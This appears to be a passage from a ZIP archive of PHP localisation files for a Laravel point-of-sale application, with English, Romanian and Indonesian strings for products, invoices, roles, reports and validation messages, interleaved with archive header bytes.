Sale Tax' for all sales in Business Settings. Click on the edit icon below to add/update Order Tax.", 'default_profit_percent' => "Default profit margin of a product. <br><small class='text-muted'>Used to calculate selling price based on purchase price entered.<br/> You can modify this value for indivisual products while adding</small>", 'fy_start_month' => 'Starting month of The Financial Year for your business', 'business_tax' => 'Registered tax number for your business.', 'invoice_scheme' => "Invoice Scheme means invoice numbering format. Select the scheme to be used for this business location<br><small class='text-muted'><i>You can add new Invoice Scheme</b> in Invoice Settings</i></small>", 'invoice_layout' => "Invoice Layout to be used for this business location<br><small class='text-muted'>(<i>You can add new <b>Invoice Layout</b> in <b>Invoice Settings<b></i>)</small>", 'invoice_scheme_name' => 'Give a short meaningful name to the Invoice Scheme.', 'invoice_scheme_prefix' => 'Prefix for an Invoice Scheme.<br>A Prefix can be a custom text or current year. Ex: #XXXX0001, #2018-0002', 'invoice_scheme_start_number' => "Start number for invoice numbering. <br><small class='text-muted'>You can make it 1 or any other number from which numbering will start.</small>", 'invoice_scheme_count' => 'Total number of invoices generated for the Invoice Scheme', 'invoice_scheme_total_digits' => 'Length of the Invoice Number excluding Invoice Prefix', 'tax_groups' => 'Group Tax Rates - defined above, to be used in combination in Purchase/Sell sections.', 'unit_allow_decimal' => 'Decimals allows you to sell the related products in fractions.', 'print_label' => 'Add products ->Choose informations to show in Labels -> Select Barcode Setting -> Preview Labels -> Print', 'expense_for' => 'Choose the user for which expense is related to. <i>(Optional)</i><br/><small>Example: Salary of an employee.</small>', 'all_location_permission' => 'If <b>All Locations</b> selected this role will have permission to access all business locations', 'dashboard_permission' => 'If unchecked only Welcome message will be displayed in Home.', 'access_locations_permission' => 'Choose all locations this role can access. All data for the selected location will only be displayed to the user.<br/><br/><small>For Example: You can use this to define <i>Store Manager / Cashier / Stock manager / Branch Manager, </i>of particular Location.</small>', 'print_receipt_on_invoice' => 'Enable or Disable auto-printing of invoice on finalizing', 'receipt_printer_type' => '<i>Browser Based Printing</i>: Show Browser Print Dialog Box with Invoice Preview<br/><br/> <i>Use Configured Receipt Printer</i>: Select a Configured Receipt / Thermal printer for printing', 'adjustment_type' => '<i>Normal</i>: Adjustment for normal reasons like Leakage, Damage etc. <br/><br/> <i>Abnormal</i>: Adjustment for reasons like Fire, Accident etc.', 'total_amount_recovered' => 'Amount recovered from insurance or selling of scraps or others', 'express_checkout' => 'Mark complete paid & checkout', 'total_card_slips' => 'Total number of card payments used in this register', 'total_cheques' => 'Total number of cheques used in this register', 'capability_profile' => "Support for commands and code pages varies between printer vendors and models. If you're not sure, it's a good idea to use the 'simple' Capability Profile", 'purchase_different_currency' => 'Select this option if you purchase in a different currency than your business currency', 'currency_exchange_factor' => "1 Purchase Currency = ? Base Currency <br> <small class='text-muted'>You can enable/disabled 'Purchase in other currency' from business settings.</small>", 'accounting_method' => 'Accounting method', 'transaction_edit_days' => 'Number of days from Transaction Date till which a transaction can be edited.', 'stock_expiry_alert' => "List of stocks expiring in :days days <br> <small class='text-muted'>You can set the no. of days in Business Settings </small>", 'sub_sku' => 'Sku is optional. <br><br><small>Keep it blank to automatically generate sku.<small>', 'shipping' => 'Set shipping details and shipping charges. Click on the edit icon below to add/update shipping details and charges.', ]; PK G �Z����� � ro/role.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Role Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'add_role' => 'Add Role', 'edit_role' => 'Edit Role', 'user' => 'User', 'supplier' => 'Supplier', 'customer' => 'Customer', 'purchase' => 'Purchase & Stock Adjustment', 'report' => 'Report', 'user.view' => 'View user', 'user.create' => 'Add user', 'user.update' => 'Edit user', 'user.delete' => 'Delete user', 'supplier.view' => 'View supplier', 'supplier.create' => 'Add supplier', 'supplier.update' => 'Edit supplier', 'supplier.delete' => 'Delete supplier', 'customer.view' => 'View customer', 'customer.create' => 'Add customer', 'customer.update' => 'Edit customer', 'customer.delete' => 'Delete customer', 'product.view' => 'View product', 'product.create' => 'Add product', 'product.update' => 'Edit product', 'product.delete' => 'Delete product', 'purchase.view' => 'View purchase & Stock Adjustment', 'purchase.create' => 'Add purchase & Stock Adjustment', 'purchase.update' => 'Edit purchase & Stock Adjustment', 'purchase.delete' => 'Delete purchase & Stock Adjustment', 'sell.view' => 'View POS sell', 'sell.create' => 'Add POS sell', 'sell.update' => 'Edit POS sell', 'sell.delete' => 'Delete POS sell', 'purchase_n_sell_report.view' => 'View purchase & sell report', 'contacts_report.view' => 'View Supplier & Customer report', 'stock_report.view' => 'View stock report, stock adjustment report & stock expiry report', 'tax_report.view' => 'View Tax report', 'trending_product_report.view' => 'View trending product report', 'register_report.view' => 'View register report', 'sales_representative.view' => 'View sales representative report', 'expense_report.view' => 'View expense report', 'business_settings.access' => 'Access business settings', 'barcode_settings.access' => 'Access barcode settings', 'invoice_settings.access' => 'Access invoice settings', 'brand.view' => 'View brand', 'brand.create' => 'Add brand', 'brand.update' => 'Edit brand', 'brand.delete' => 'Delete brand', 'tax_rate.view' => 'View tax rate', 'tax_rate.create' => 'Add tax rate', 'tax_rate.update' => 'Edit tax rate', 'tax_rate.delete' => 'Delete tax rate', 'unit.view' => 'View unit', 'unit.create' => 'Add unit', 'unit.update' => 'Edit unit', 'unit.delete' => 'Delete unit', 'category.view' => 'View category', 'category.create' => 'Add category', 'category.update' => 'Edit category', 'category.delete' => 'Delete category', 'select_all' => 'Select all', 'settings' => 'Settings', 'brand' => 'Brand', 'tax_rate' => 'Tax rate', 'unit' => 'Unit', 'access_locations' => 'Access locations', 'all_locations' => 'All Locations', 'dashboard' => 'Home', 'dashboard.data' => 'View Home data', 'profit_loss_report.view' => 'View profit/loss report', 'direct_sell.access' => 'Access sell', ]; PK G �Z}�dO� � ro/product.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Product Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Product related operations. | */ 'exc_of_tax' => 'FTVA', 'inc_of_tax' => 'Cu TVA', 'profit_percent' => 'Adaos(%)', 'add_new_product' => 'Adauga produs nou', 'add_product_for_labels' => 'Adauga produse pentru generare etichete', 'product_type' => 'Tip', 'category' => 'Categorie', 'sub_category' => 'Sub categorie', 'unit' => 'UM', 'brand' => 'Brand', 'tax' => 'Tva', 'sku' => 'Cod', 'alert_quantity' => 'Alerta stoc', 'product_name' => 'Nume produs', 'auto_generate' => 'Generare automata', 'manage_stock' => 'Administrezi stoc?', 'enable_stock_help' => 'Activeaza administrare stoc.', 'barcode_type' => 'Tip cod bare', 'applicable_tax' => 'Taxa de aplicat', 'selling_price_tax_type' => 'Include taxa?', 'inclusive' => 'Inclusiv', 'exclusive' => 'Exclusiv', 'edit_product' => 'Editeaza', 'default_purchase_price' => 'Pret standard', 'default_selling_price' => 'Pret standard', 'value' => 'Valoare', 'variation_name' => 'Den. variatie', 'variation_values' => 'Val. variatie', 'use_template' => 'Use Template', 'variation_values' => 'Valori variatie', 'add_variation' => 'Adauga variatie', 'product_added_success' => 'Produs adaugat cu succes', 'product_updated_success' => 'Produs actualizat cu succes', 'enable_product_expiry' => 'Activeaza termen valabilitate', 'expiry_period' => 'Termen valabilitate', 'expires_in' => 'Expira in', 'not_applicable' => 'Nu se aplica', 'months' => 'Luni', 'days' => 'Zile', 'mfg_date' => 'MFG Date', 'exp_date' => 'EXP Date', 'view_product' => 'Vezi produs', 'add_product' => 'Adauga produs', 'variations' => 'Variatii', 'import_products' => 'Importa produse', 'file_to_import' => 'Fisier de importat', 'file_imported_successfully' => 'Fisier importat cu succes', 'variation_sku_format' => 'Format SKU Variabil', 'variation_sku_format_help_text' => 'Format SKU Variabil - Când SKU-ul variabil este gol, acest format va fi utilizat pentru a genera SKU-uri pentru variații.', 'sku_number' => 'Număr SKU (Exemplu -> ABC-1, ABC-2)', 'sku_variation_number' => 'Variație SKU (Exemplu -> ABCS, ABCM)' ]; PK G �Z 0�� ro/invoice.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Invoice Language Lines |-------------------------------------------------------------------------- | | The following language lines are for invoice screen | */ 'invoice_settings' => 'Optiuni facturi', 'manage_your_invoices' => 'Administreaza optiuni', 'all_your_invoice_schemes' => 'Toate schemele', 'added_success' => 'Optiune adaugata cu succes', 'updated_success' => 'Optiune actualizata cu succes', 'deleted_success' => 'Optiune stearsa cu succes', 'add_invoice' => 'Adauga schema noua', 'edit_invoice' => 'Editeaza schema', 'name' => 'Nume', 'prefix' => 'Prefix', 'start_number' => 'Incepe de la', 'total_digits' => 'Numar de cifre', 'preview' => 'Previzualizare', 'not_selected' => 'Nu a fost selectat', 'invoice_count' => 'Numar factura', 'invoice_schemes' => 'Scheme', 'invoice_layouts' => 'Aspecte', 'invoice_layout' => 'Aspect', 'all_your_invoice_layouts' => 'Toate aspectele', 'add_invoice_layout' => 'Adauga aspect nou', 'layout_name' => 'Denumire aspect', 'invoice_scheme' => 'Schema factura', 'header_text' => 'Antet', 'invoice_no_prefix' => 'Eticheta Nr. factura', 'invoice_heading' => 'Titlu factura', 'sub_total_label' => 'Eticheta subtotal', 'discount_label' => 'Eticheta discount', 'tax_label' => 'Eticheta taxa', 'total_label' => 'Eticheta total', 'fields_to_be_shown_in_address' => 'Fields to be shown in location address', 'highlight_color' => 'Highlight color', 'footer_text' => 'Footer text', 'layout_added_success' => 'Invoice layout added successfully', 'edit_invoice_layout' => 'Edit invoice layout', 'layout_updated_success' => 'Invoice layout updated successfully', 'used_in_locations' => 'Used in locations', 'show_business_name' => 'Show business name', 'show_location_name' => 'Show location name', 'show_mobile_number' => 'Mobile number', 'show_alternate_number' => 'Alternate number', 'show_email' => 'Email', 'show_tax_1' => 'Tax 1 details', 'show_tax_2' => 'Tax 2 details', 'fields_to_shown_for_communication' => 'Fields for Communication details', 'fields_to_shown_for_tax' => 'Fields for Tax details', 'invoice_logo' => 'Invoice Logo', 'show_logo' => 'Show invoice Logo', 'show_barcode' => 'Show Barcode', 'total_due_label' => 'Total Due Label', 'invoice_heading_not_paid' => 'Heading Suffix for not paid', 'invoice_heading_paid' => 'Heading Suffix for paid', 'show_payments' => 'Show Payment information', 'show_customer' => 'Show Customer information', 'paid_label' => 'Amount Paid Label', 'customer_label' => 'Customer Label', ]; PK G �ZŶ��E E id/expense.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Expense Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Expense CRUD operations. | */ 'expenses' => 'Biaya', 'expense_categories' => 'Kategori Biaya', 'manage_your_expense_categories' => 'Mengelola kategori biaya Anda', 'all_your_expense_categories' => 'Semua kategori biaya Anda', 'expense_category' => 'Kategori Biaya', 'category_name' => 'Nama kategori', 'category_code' => 'Kode kategori', 'added_success' => 'Kategori biaya berhasil ditambahkan', 'updated_success' => 'Kategori biaya berhasil diperbarui', 'deleted_success' => 'Kategori biaya berhasil dihapus', 'add_expense_category' => 'Tambahkan Kategori Biaya', 'edit_expense_category' => 'Edit Kategori Biaya', 'all_expenses' => 'Semua biaya', 'expense_status' => 'Status biaya', 'add_expense' => 'Tambahkan Biaya', 'edit_expense' => 'Edit Biaya', 'expense_note' => 'Catatan biaya', 'expense_add_success' => 'Biaya berhasil ditambahkan', 'expense_update_success' => 'Biaya berhasil diperbarui', 'expense_delete_success' => 'Biaya berhasil dihapus', 'expense_for' => 'Biaya untuk', ]; PK G �Z���Z� � id/messages.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Common Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during common CRUD operations. | */ 'add' => 'Tambah', 'edit' => 'Edit', 'save' => 'Simpan', 'update' => 'Perbarui', 'action' => 'Tindakan', 'actions' => 'Tindakan', 'view' => 'Melihat', 'delete' => 'Hapus', 'close' => 'Tutup', 'something_went_wrong' => 'Ada yang salah, silakan coba lagi nanti', 'required' => 'Bagian ini diperlukan', 'please_select' => 'Silahkan pilih', 'cancel' => 'Batal', 'date' => 'Tanggal', 'filter_by_date' => 'Filter menurut tanggal', 'location' => 'Lokasi', 'go_back' => 'Kembali', 'due_tooltip' => '-ve nilai = Jumlah wajib dibayar <br> +ve nilai = Jumlah wajib diterima', 'purchase_due_tooltip' => '-ve nilai = Jumlah wajib diterima <br> +ve value = Jumlah wajib dibayar', 'yes' => 'Iya', 'no' => 'Tidak', 'all' => 'Semua', 'settings' => 'Pengaturan', 'business_location_settings' => 'Pengaturan Lokasi Bisnis', 'print' => 'Cetak', 'submit' => 'Kirim', 'purchase_sell_mismatch_exception' => 'ERROR: NOT ALLOWED: Antara penjualan dan pembelian kuantitas tidak cocok. Product: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ERROR: NOT ALLOWED: Antara penyesuaian stok dan pembelian tidak cocok. Product: :product', 'transaction_edit_not_allowed' => 'Edit transaksi tidak diizinkan setelah :days days.', 'name' => 'Nama', 'price' => 'Harga', 'activate' => 'Aktif', 'deactivate' => 'Non Aktif', ]; PK G �Z1�3vW W id/stock_adjustment.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Stock Adjustment Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Stock Adjustment CRUD operations. | */ 'stock_adjustment' => 'Penyesuaian Stok', 'stock_adjustments' => 'Penyesuaian Stok', 'list' => 'Daftar Penyesuaian Stok', 'add' => 'Tambah Penyesuaian Stok', 'all_stock_adjustments' => 'Semua Penyesuaian stok', 'search_product' => 'Cari produk untuk penyesuaian stok', 'adjustment_type' => 'Jenis penyesuaian', 'normal' => 'Normal', 'abnormal' => 'Abnormal', 'total_amount' => 'Jumlah Total', 'total_amount_recovered' => 'Jumlah total dikembalikan', 'reason_for_stock_adjustment' => 'Alasan', 'stock_adjustment_added_successfully' => 'Penyesuaian stok berhasil ditambahkan', 'search_products' => 'Cari produk', 'delete_success' => 'Penyesuaian stok berhasil dihapus', 'view_details' => 'Lihat rincian penyesuaian stok', ]; PK G �Z�Rr�F F id/home.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Home Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in home page. | */ 'home' => 'Beranda', 'welcome_message' => 'Selamat datang :name,', 'total_sell' => 'Total Penjualan', 'total_purchase' => 'Total Pembelian', 'invoice_due' => 'Faktur jatuh tempo', 'purchase_due' => 'Pembelian jatuh tempo', 'today' => 'Hari ini', 'this_week' => 'Minggu ini', 'this_month' => 'Bulan ini', 'this_fy' => 'Pembukuan Tahun ini', 'sells_last_30_days' => 'Penjualan 30 Hari Terakhir', 'sells_current_fy' => 'Pembukuan Penjualan Tahun Berjalan ', 'total_sells' => 'Total Penjualan (:currency)', 'product_stock_alert' => 'Peringatan Stok Produk', 'payment_dues' => 'Pembayaran jatuh tempo', 'due_amount' => 'Jumlah Jatuh Tempo', 'stock_expiry_alert' => 'Peringatan Stok Kadaluarsa', 'todays_profit' => 'Keuntungan hari ini', ]; PK G �Z�� Zz z id/receipt.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Receipt Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in receipt | */ 'product' => 'Produk', 'qty' => 'Qty', 'unit_price' => 'Harga Satuan', 'subtotal' => 'Subtotal', 'discount' => 'Diskon', 'tax' => 'Pajak', 'total' => 'Total', 'invoice_number' => 'No. Faktur', 'date' => 'Tanggal', 'receipt_settings' => 'Pengaturan Penerimaan', 'receipt_settings_mgs' => 'Semua pengaturan terkait penerimaan untuk lokasi ini', 'print_receipt_on_invoice' => 'Cetak faktur otomatis setelah selesai', 'receipt_printer_type' => 'Jenis Printer Penerimaan', 'receipt_settings_updated' => 'Pengaturan Penerimaan berhasil diperbarui', ]; PK G �Z�j$ � � id/tax_rate.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Tax Rates Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Tax Rate CRUD operations. | */ 'tax_rates' => 'Tarif Pajak', 'manage_your_tax_rates' => 'Mengelola tarif pajak Anda', 'all_your_tax_rates' => 'Semua tarif pajak Anda', 'name' => 'Nama', 'rate' => 'Tarif Pajak %', 'added_success' => 'Tarif pajak berhasil ditambahkan', 'updated_success' => 'Tarif pajak berhasil diperbarui', 'deleted_success' => 'Tarif pajak berhasil dihapus', 'add_tax_rate' => 'Tambahkan Tarif Pajak', 'edit_taxt_rate' => 'Edit Tarif Pajak', 'add_tax_group' => 'Tambahkan grup pajak', 'tax_group_added_success' => 'Grup pajak berhasil ditambahkan', 'tax_group_updated_success' => 'Grup pajak berhasil diperbarui', 'tax_groups' => 'Grup pajak', 'edit_tax_group' => 'Edit grup pajak', 'sub_taxes' => 'Sub pajak', 'can_not_be_deleted' => 'Tarif pajak ini termasuk dalam beberapa grup pajak', ]; PK G �ZqwN� � id/category.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'categories' => 'Kategori', 'manage_your_categories' => 'Mengelola kategori Anda', 'all_your_categories' => 'Semua kategori Anda', 'category' => 'Kategori', 'category_name' => 'Nama Kategori', 'code' => 'Kode Kategori', 'add_as_sub_category' => 'Tambahkan sebagai sub-kategori', 'select_parent_category' => 'Pilih kategori induk', 'added_success' => 'Kategori berhasil ditambahkan', 'updated_success' => 'Kategori berhasil diperbarui', 'deleted_success' => 'Kategori berhasil dihapus', 'add_category' => 'Tambah Kategori', 'edit_category' => 'Edit Kategori', ]; PK G �Zi?�� � id/brand.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'brands' => 'Merek', 'manage_your_brands' => 'Mengelola merek Anda', 'all_your_brands' => 'Semua merek Anda', 'note' => 'Catat', 'brand_name' => 'Nama merek', 'short_description' => 'Deskripsi singkat', 'added_success' => 'Merek berhasil ditambahkan', 'updated_success' => 'Merek berhasil diperbarui', 'deleted_success' => 'Merek berhasil dihapus', 'add_brand' => 'Tambah merek', 'edit_brand' => 'Edit merek', ]; PK G �Z' ��t t id/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Kredensial ini tidak cocok dengan catatan kami.', 'throttle' => 'Terlalu banyak upaya masuk. Silakan coba lagi dalam :seconds seconds.', ]; PK G �ZY���� � id/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages here. | */ 'accepted' => 'The :attribute must be accepted.', 'active_url' => 'The :attribute is not a valid URL.', 'after' => 'The :attribute must be a date after :date.', 'after_or_equal' => 'The :attribute must be a date after or equal to :date.', 'alpha' => 'The :attribute may only contain letters.', 'alpha_dash' => 'The :attribute may only contain letters, numbers, and dashes.', 'alpha_num' => 'The :attribute may only contain letters and numbers.', 'array' => 'The :attribute must be an array.', 'before' => 'The :attribute must be a date before :date.', 'before_or_equal' => 'The :attribute must be a date before or equal to :date.', 'between' => [ 'numeric' => 'The :attribute must be between :min and :max.', 'file' => 'The :attribute must be between :min and :max kilobytes.', 'string' => 'The :attribute must be between :min and :max characters.', 'array' => 'The :attribute must have between :min and :max items.', ], 'boolean' => 'The :attribute field must be true or false.', 'confirmed' => 'The :attribute confirmation does not match.', 'date' => 'The :attribute is not a valid date.', 'date_format' => 'The :attribute does not match the format :format.', 'different' => 'The :attribute and :other must be different.', 'digits' => 'The :attribute must be :digits digits.', 'digits_between' => 'The :attribute must be between :min and :max digits.', 'dimensions' => 'The :attribute has invalid image dimensions.', 'distinct' => 'The :attribute field has a duplicate value.', 'email' => 'The :attribute must be a valid email address.', 'exists' => 'The selected :attribute is invalid.', 'file' => 'The :attribute must be a file.', 'filled' => 'The :attribute field must have a value.', 'image' => 'The :attribute must be an image.', 'in' => 'The selected :attribute is invalid.', 'in_array' => 'The :attribute field does not exist in :other.', 'integer' => 'The :attribute must be an integer.', 'ip' => 'The :attribute must be a valid IP address.', 'ipv4' => 'The :attribute must be a valid IPv4 address.', 'ipv6' => 'The :attribute must be a valid IPv6 address.', 'json' => 'The :attribute must be a valid JSON string.', 'max' => [ 'numeric' => 'The :attribute may not be greater than :max.', 'file' => 'The :attribute may not be greater than :max kilobytes.', 'string' => 'The :attribute may not be greater than :max characters.', 'array' => 'The :attribute may not have more than :max items.', ], 'mimes' => 'The :attribute must be a file of type: :values.', 'mimetypes' => 'The :attribute must be a file of type: :values.', 'min' => [ 'numeric' => 'The :attribute must be at least :min.', 'file' => 'The :attribute must be at least :min kilobytes.', 'string' => 'The :attribute must be at least :min characters.', 'array' => 'The :attribute must have at least :min items.', ], 'not_in' => 'The selected :attribute is invalid.', 'numeric' => 'The :attribute must be a number.', 'present' => 'The :attribute field must be present.', 'regex' => 'The :attribute format is invalid.', 'required' => 'The :attribute field is required.', 'required_if' => 'The :attribute field is required when :other is :value.', 'required_unless' => 'The :attribute field is required unless :other is in :values.', 'required_with' => 'The :attribute field is required when :values is present.', 'required_with_all' => 'The :attribute field is required when :values is present.', 'required_without' => 'The :attribute field is required when :values is not present.', 'required_without_all' => 'The :attribute field is required when none of :values are present.', 'same' => 'The :attribute and :other must match.', 'size' => [ 'numeric' => 'The :attribute must be :size.', 'file' => 'The :attribute must be :size kilobytes.', 'string' => 'The :attribute must be :size characters.', 'array' => 'The :attribute must contain :size items.', ], 'string' => 'The :attribute must be a string.', 'timezone' => 'The :attribute must be a valid zone.', 'unique' => 'The :attribute has already been taken.', 'uploaded' => 'The :attribute failed to upload.', 'url' => 'The :attribute format is invalid.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [], 'custom-messages' => [ 'quantity_not_available' => 'Only :qty :unit available', 'this_field_is_required' => 'This field is required', ], ]; PK G �ZG�B� id/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Sebelum', 'next' => 'Berikut »', ]; PK G �Z15N� � id/contact.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Contact Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during Contacts CRUD operations. | */ 'contacts' => 'Kontak', 'name' => 'Nama', 'contact' => 'Kontak', 'manage_your_contact' => 'Mengelola :contacts Anda', 'all_your_contact' => 'Semua :contacts Anda', 'add_contact' => 'Tambah kontak baru', 'contact_type' => 'Jenis kontak', 'tax_no' => 'Nomor pajak', 'pay_term' => 'Termin pembayaran', 'pay_term_period' => 'Jangka waktu pembayaran', 'mobile' => 'Mobile', 'landline' => 'Telepon rumah', 'alternate_contact_number' => 'Nomor kontak alternatif', 'edit_contact' => 'Edit kontak', 'added_success' => 'Kontak berhasil ditambahkan', 'updated_success' => 'Kontak berhasil diperbarui', 'deleted_success' => 'Kontak berhasil dihapus', 'add_new_customer' => 'Tambahkan pelanggan baru', 'view_contact' => 'Lihat Kontak', 'contact_info' => 'Info :contact', 'all_purchases_linked_to_this_contact' => 'Semua pembelian terkait dengan kontak ini', 'all_sells_linked_to_this_contact' => 'Semua penjualan terkait dengan kontak ini', 'total_purchase_due' => 'Total Pembelian Jatuh Tempo', 'pay_due_amount' => 'Bayar Jumlah Jatuh Tempo', 'total_paid' => 'Total Dibayar', 'total_purchase_paid' => 'Total Pembayaran Pembelian', 'total_sale_paid' => 'Total Pembayaran Penjualan', 'total_sale_due' => 'Total Penjualan Jatuh Tempo', 'customer' => 'Pelanggan', ]; PK G �Z��g g id/sale.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'sale' => 'Penjualan', 'sells' => 'Penjualan', 'list_sale' => 'Daftar Penjualan', 'add_sale' => 'Tambah Penjualan', 'pos_sale' => 'POS', 'draft_added' => 'Konsep berhasil ditambahkan', 'invoice_added' => 'Faktur berhasil ditambahkan', 'item' => 'Item', 'total' => 'Total', 'order_tax' => 'Pajak Pesanan', 'discount' => 'Diskon', 'total_payable' => 'Total Hutang', 'cancel' => 'Batal', 'draft' => 'Konsep', 'finalize' => 'Bayar & Checkout', 'express_finalize' => 'Ekspres <br/>Checkout', 'product' => 'Produk', 'products' => 'Produk', 'unit_price' => 'Harga Satuan', 'qty' => 'Kwantitas', 'subtotal' => 'Subtotal', 'recent_transactions' => 'Transaksi Terakhir Anda', 'pos_sale_added' => 'Penjualan berhasil ditambahkan', 'price_inc_tax' => 'Harga inc. pajak', 'tax' => 'Pajak', 'edit_discount' => 'Edit Diskon', 'edit_order_tax' => 'Edit Pajak Pesanan', 'discount_type' => 'Jenis Diskon', 'discount_amount' => 'Jumlah Diskon', 'no_recent_transactions' => 'Tidak Ada Transaksi Terbaru', 'final' => 'Final', 'invoice_no' => 'No. Faktur', 'customer_name' => 'Nama Pelanggan', 'payment_status' => 'Status pembayaran', 'status' => 'Status', 'total_amount' => 'Jumlah total', 'total_paid' => 'Total dibayar', 'total_remaining' => 'Total saldo', 'payment_info' => 'Informasi pembayaran', 'drafts' => 'Konsep', 'all_drafts' => 'Semua Konsep', 'sell_details' => 'Rincian Penjualan', 'payments' => 'Pembayaran', 'amount' => 'Jumlah', 'payment_mode' => 'Mode pembayaran', 'payment_note' => 'Catatan pembayaran', 'sell_note' => 'Catatan penjualan', 'staff_note' => 'Catatan staf', 'draft_updated' => 'Konsep berhasil diperbarui', 'pos_sale_updated' => 'Penjualan berhasil diperbarui', 'location' => 'Lokasi', 'add_payment_row' => 'Tambahkan Baris Pembayaran', 'finalize_payment' => 'Pembayaran Final', 'sale_date' => 'Tanggal Penjualan', 'list_pos' => 'Daftar POS', 'edit_sale' => 'Edit Penjualan', 'shipping' => 'Pengiriman', 'shipping_details' => 'Rincian Pengiriman', 'shipping_charges' => 'Ongkos Kirim', 'shipping' => 'Pengiriman', 'shipping_details' => 'Rincian pengiriman', 'shipping_charges' => 'Biaya Pengiriman', ]; PK G �Z��6K� � id/report.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Report Language Lines |-------------------------------------------------------------------------- | | The following language lines are used in reports | */ 'reports' => 'Laporan', 'purchase_sell_report' => 'Pembelian & Penjualan', 'purchase_sell' => 'Laporan Pembelian & Penjualan', 'purchase_sell_msg' => 'Detail pembelian & penjualan untuk rentang tanggal yang dipilih', 'total_purchase' => 'Total Pembelian', 'purchase_inc_tax' => 'Pembelian Termasuk pajak', 'total_sell' => 'Total Penjualan', 'sell_inc_tax' => 'Dijual termasuk pajak', 'purchase_due' => 'Jatuh tempo Pembelian', 'sell_due' => 'Jatuh Tempo Penjualan', 'overall' => 'Keseluruhan (Jual-Beli)', 'sell_minus_purchase' => 'Jual - Beli', 'difference_due' => 'Jumlah jatuh tempo', 'customer' => 'Pelanggan', 'supplier' => 'Pemasok', 'total_due' => 'Jatuh Tempo', 'contacts' => 'Laporan Pemasok & Pelanggan', 'contact' => 'Kontak', 'stock_report' => 'Laporan Stok', 'products' => 'Produk', 'current_stock' => 'Stok saat ini', 'total_unit_sold' => 'Total unit terjual', 'tax_report' => 'Laporan Pajak', 'tax_report_msg' => 'Rincian pajak untuk rentang tanggal yang dipilih', 'input_tax' => 'Pajak Masukan', 'output_tax' => 'Pajak Keluaran', 'tax_overall' => 'Keseluruhan (Input - Output)', 'trending_products' => 'Produk Terlaris', 'apply_filters' => 'Terapkan Filter', 'filters' => 'Filter', 'expense_report' => 'Laporan Biaya', 'total_expense' => 'Total Biaya', 'others' => 'Lainnya', 'all' => 'Semua', 'top_trending_products' => 'Top Produk Terlaris', 'all_locations' => 'Semua Lokasi', 'stock_adjustment_report' => 'Laporan Penyesuaian Stok', 'total_stock_adjustment' => 'Total Penyesuaian Stok', 'total_recovered' => 'Jumlah Total yang Dikembalikan', 'total_normal' => 'Total Normal', 'total_abnormal' => 'Total Abnormal', 'register_report' => 'Laporan POS', 'open_time' => 'Waktu Buka', 'close_time' => 'Waktu Tutup', 'user' => 'Pengguna', 'all_users' => 'Semua Pengguna', 'sales_representative' => 'Laporan Sales Representative', 'sales_representative_expenses' => 'Semua biaya yang terkait dengan sales representative', 'summary' => 'Ringkasan', 'date_range' => 'Rentang Tanggal', 'stock_expiry_report' => 'Laporan Kadaluarsa Stok', 'stock_left' => 'Stok lenyap', 'expired' => 'Kedaluwarsa', 'view_stocks' => 'Lihat Stok', 'expiring_in_1_week' => 'Berakhir dalam seminggu', 'expiring_in_15_days' => 'Berakhir dalam 15 hari', 'expiring_in_1_month' => 'Berakhir dalam sebulan', 'expiring_in_3_months' => 'Berakhir dalam 3 bulan', 'expiring_in_6_months' => 'Berakhir dalam 6 bulan', 'expiring_in_1_year' => 'Berakhir dalam setahun', 'profit_loss' => 'Laporan Laba / Rugi', 'opening_stock' => 'Stok awal', 'closing_stock' => 'Stok akhir', 'total_expense' => 'Total Biaya', 'net_profit' => 'Laba Bersih', 'total_stock_adjustment' => 'Total Penyesuaian Stok', 'total_stock_recovered' => 'Total Stok diKembalikan', ]; PK G �Z��I�5 5 id/passwords.phpnu �[��� <?php return [ /* 